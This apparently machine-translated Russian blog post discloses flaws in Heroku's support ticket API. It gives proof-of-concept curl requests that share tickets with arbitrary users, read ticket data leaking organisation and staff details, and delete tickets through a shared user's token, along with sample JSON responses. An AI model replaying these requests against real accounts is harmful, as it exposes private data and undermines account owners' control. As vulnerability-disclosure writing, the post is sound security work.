Heroku — один из самых популярных PaaS, и мы вполне довольны тем, что он может предложить. Недавно я случайно столкнулся с какой-то проблемой и получил возможность использовать систему справок Heroku. При этом я наткнулся на функцию обмена билетами с другими членами организации или сотрудниками.

Обмен билетами с любым пользователем heroku

Член организации может злоупотреблять справочной системой и делиться тикетом с любым другим пользователем heroku без ведома владельца организации о контексте обмена. Единственное требование — другой пользователь должен быть зарегистрирован на героку.

curl 'https://support-api.heroku.com/tickets/:ticket_id/shares' -X POST -H 'Accept: application/vnd.heroku+json; version=1' -H 'Authorization: (redacted)' --data '{"user_id":"<another_user>@example.com"}'

Запрос, подобный приведенному выше, успешно добавит любого другого пользователя heroku.

Утечка информации о вызовах API комментариев

Когда вы загружаете билеты на heroku, вызывается API комментариев, который загружает комментарии, но также включает полезную нагрузку actor, как показано ниже:

{
    "id": "0596b09e-4c56-40f9-a13a-f43acd637951",
    "created_at": "2016-10-07T18:43:58Z",
    "updated_at": null,
    "ticket_id": 409207,
    "public": true,
    "body": "<snipped>",
    "actor_id": "3ab8a77d-e1d2-446e-905f-32d0a1961dd0",
    "actor": {
        "allow_tracking": true,
        "beta": false,
        "email": "*****@heroku.com",
        "id": "3ab8a77d-e1d2-446e-905f-32d0a1961dd0",
        "last_login": "2016-09-21T16:22:10Z",
        "name": "*****",
        "sms_number": "+1 ***-***-****",
        "two_factor_authentication": true,
        "verified": true,
        "created_at": "2016-03-21T22:47:42Z",
        "updated_at": "2016-09-23T07:24:37Z",
        "suspended_at": null,
        "default_organization": null,
        "delinquent_at": null,
        "herokai": true,
        "addon_provider": false
    },
    "meta_data": null,
    "sfid": null
}

Как вы можете видеть выше, информация об акторах довольно много говорит о пользователе.

Утечка информации об организации через API билетов

API билетов передает определенную информацию об организации тому, кто поделился билетом, или даже создателю билета, который, вероятно, не должен видеть эту информацию.

curl 'https://support-api.heroku.com/tickets/:ticket_id' -H 'authorization: Bearer <auth_token>'

{
    "id": *****,
    "score": 4350,
    "complete": true,
    "created_at": "2016-10-07T16:09:23Z",
    "last_public_change_at": "2016-10-07T19:09:08Z",
    "first_responded_at": "2016-10-07T18:43:58Z",
    "last_responded_at": "2016-10-07T18:43:58Z",
    "updated_at": "2016-10-07T19:09:08Z",
    "app_name": null,
    "app_id": null,
    "permission_granted": false,
    "state": "open",
    "priority": "normal",
    "subject": "********",
    "requester_id": "d5b5b77d-6fd4-4af4-a2cc-7eb8c1bf8272",
    "requester": {
        "id": "*****@users.heroku.com",
        "email": "*****@*****.com",
        "uuid": "d5b5b77d-6fd4-4af4-a2cc-7eb8c1bf8272",
        "full_name": "Samar Acharya",
        "deleted_at": null
    },
    "assignee_id": null,
    "assignee": null,
    "actor_id": "d5b5b77d-6fd4-4af4-a2cc-7eb8c1bf8272",
    "actor": {
        "id": "****@users.heroku.com",
        "email": "******@*****.com",
        "uuid": "d5b5b77d-6fd4-4af4-a2cc-7eb8c1bf8272",
        "full_name": "Samar Acharya",
        "deleted_at": null
    },
    "category": "account",
    "addon": null,
    "requires_survey": false,
    "comment": {
        "body": "****"
    },
    "last_comment": {
        "body": "****"
    },
    "views": [{
        "id": "fc928ccc-c182-4d95-b070-a3fcb57a8f27",
        "name": "Support",
        "slug": "support",
        "external_id": "",
        "ticket_count": 48,
        "addon": false,
        "meta_data": {
            "public_name": "Support",
            "review_category": "support",
            "notes": ""
        }
    }],
    "tags": [{
        "id": "fc928ccc-c182-4d95-b070-a3fcb57a8f27",
        "name": "Support",
        "slug": "support",
        "kind": "View",
        "external_id": "",
        "ticket_count": 48,
        "assigned_count": 3,
        "addon": false,
        "created_at": "2014-10-03T11:22:06.575+00:00",
        "updated_at": "2016-02-12T16:17:17.358+00:00",
        "surveyable": true,
        "meta_data": {
            "public_name": "Support",
            "review_category": "support",
            "notes": ""
        }
    }],
    "meta_data": {
        "source": "help",
        "query": "help redirect premium support",
        "requester_browser_tz_offset": "-5",
        "requester_browser_agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
        "support_level": {
            "csa": true,
            "sla": true,
            "assigned_csa": "****@heroku.com",
            "account_name": "*****"
        },
        "status": {
            "status": [{
                "system": "Apps",
                "status": "green"
            }, {
                "system": "Data",
                "status": "green"
            }, {
                "system": "Tools",
                "status": "green"
            }],
            "incidents": [],
            "scheduled": []
        },
        "requester": {
            "id": "*****@users.heroku.com",
            "email": "*****@******.com",
            "uuid": "d5b5b77d-6fd4-4af4-a2cc-7eb8c1bf8272",
            "full_name": "Samar Acharya",
            "deleted_at": null
        }
    },
    "spend": 3000.0,
    "premium_support": true,
    "surveyable": "true",
    "boosted": false,
    "origin": "Support App",
    "sfid": "5003A00000******"
}

Удаление заявки любым, у кого есть доступ к ней

Если вы делитесь билетами с другими пользователями, вы должны знать, что они могут просто удалить ваш билет. Обратите внимание, что это мягкое удаление, поэтому вы можете связаться с контактами Heroku и попросить их отменить мягкое удаление, но все равно это проблема.

curl 'https://support-api.heroku.com/tickets/:ticket_id' -H 'authorization: Bearer <another_user_token>' -XDELETE
...json output...

Ни одна из этих проблем не рассматривалась инженером Heroku как потенциальная угроза безопасности, и недавно я узнал, что проблемы с утечкой информации, о которых я упоминал выше, теперь устранены. Я был особенно разочарован тем, как поддержка Heroku действовала по этому конкретному вопросу. Позже я также узнал, что help.heroku.com входит в их награду за безопасность на bugcrowd. Я понимаю, что решение о том, является ли тот или иной отчет ошибкой безопасности, зависит от Heroku, но в данном случае я поражен тем, что они не восприняли это как проблему безопасности (хотя это можно было бы считать незначительным воздействием).